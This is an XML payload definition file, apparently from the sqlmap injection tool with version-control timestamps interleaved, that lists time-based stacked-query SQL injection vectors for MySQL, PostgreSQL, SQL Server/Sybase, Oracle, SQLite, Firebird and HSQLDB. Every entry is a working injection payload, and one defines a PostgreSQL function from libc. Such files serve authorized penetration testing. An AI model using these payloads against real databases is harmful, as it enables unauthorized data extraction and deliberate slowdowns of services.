2015-02-18 13:13:44 +03:00
<?xml version="1.0" encoding="UTF-8"?>
<root >
<!-- Stacked queries tests -->
<test >
<title > MySQL > 5.0.11 stacked queries (SELECT)</title>
<stype > 4</stype>
<level > 2</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
2015-02-18 13:13:44 +03:00
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
<title > MySQL > 5.0.11 stacked queries (SELECT - comment)</title>
<stype > 4</stype>
<level > 4</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
2015-02-18 13:13:44 +03:00
<comment > #</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
<title > MySQL > 5.0.11 stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT SLEEP([SLEEPTIME])</payload>
2015-02-18 13:13:44 +03:00
<comment > -- </comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
<title > MySQL < 5.0.12 stacked queries (heavy query)</title>
<stype > 4</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
2015-02-18 13:13:44 +03:00
<comment > -- </comment>
</request>
<response >
<time > [DELAYED]</time>
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
<test >
<title > PostgreSQL > 8.1 stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT PG_SLEEP([SLEEPTIME])</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > PostgreSQL</dbms>
<dbms_version > > 8.1</dbms_version>
</details>
</test>
<test >
<title > PostgreSQL stacked queries (heavy query)</title>
<stype > 4</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [DELAYED]</time>
</response>
<details >
<dbms > PostgreSQL</dbms>
</details>
</test>
<test >
<title > PostgreSQL < 8.2 stacked queries (Glibc)</title>
<stype > 4</stype>
<level > 4</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > PostgreSQL</dbms>
<dbms_version > < 8.2</dbms_version>
<os > Linux</os>
</details>
</test>
<test >
<title > Microsoft SQL Server/Sybase stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
<dbms > Sybase</dbms>
<os > Windows</os>
</details>
</test>
<test >
<title > Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
<stype > 4</stype>
<level > 5</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
<title > Oracle stacked queries (heavy query)</title>
<stype > 4</stype>
<level > 5</level>
<risk > 2</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [DELAYED]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
<title > Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
<stype > 4</stype>
<level > 5</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
<title > Oracle stacked queries (USER_LOCK.SLEEP)</title>
<stype > 4</stype>
<level > 5</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
<title > SQLite > 2.0 stacked queries (heavy query)</title>
<stype > 4</stype>
<level > 3</level>
<risk > 2</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [DELAYED]</time>
</response>
<details >
<dbms > SQLite</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<test >
<title > Firebird stacked queries (heavy query)</title>
<stype > 4</stype>
<level > 3</level>
<risk > 2</risk>
<clause > 0</clause>
<where > 1</where>
2015-02-19 19:41:55 +03:00
<vector > ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
2015-02-18 13:13:44 +03:00
<request >
2015-02-19 19:41:55 +03:00
<payload > ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
2015-02-18 13:13:44 +03:00
<comment > --</comment>
</request>
<response >
<time > [DELAYED]</time>
</response>
<details >
<dbms > Firebird</dbms>
<dbms_version > > = 2.0</dbms_version>
</details>
</test>
<test >
<title > HSQLDB > = 1.7.2 stacked queries</title>
<stype > 4</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<vector > ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
<request >
<payload > ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > HSQLDB</dbms>
<dbms_version > > = 1.7.2</dbms_version>
</details>
</test>
<test >
<title > HSQLDB > = 2.0 stacked queries</title>
<stype > 4</stype>
<level > 4</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<vector > ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
<request >
<payload > ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > HSQLDB</dbms>
<dbms_version > > = 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of stacked queries tests -->
</root>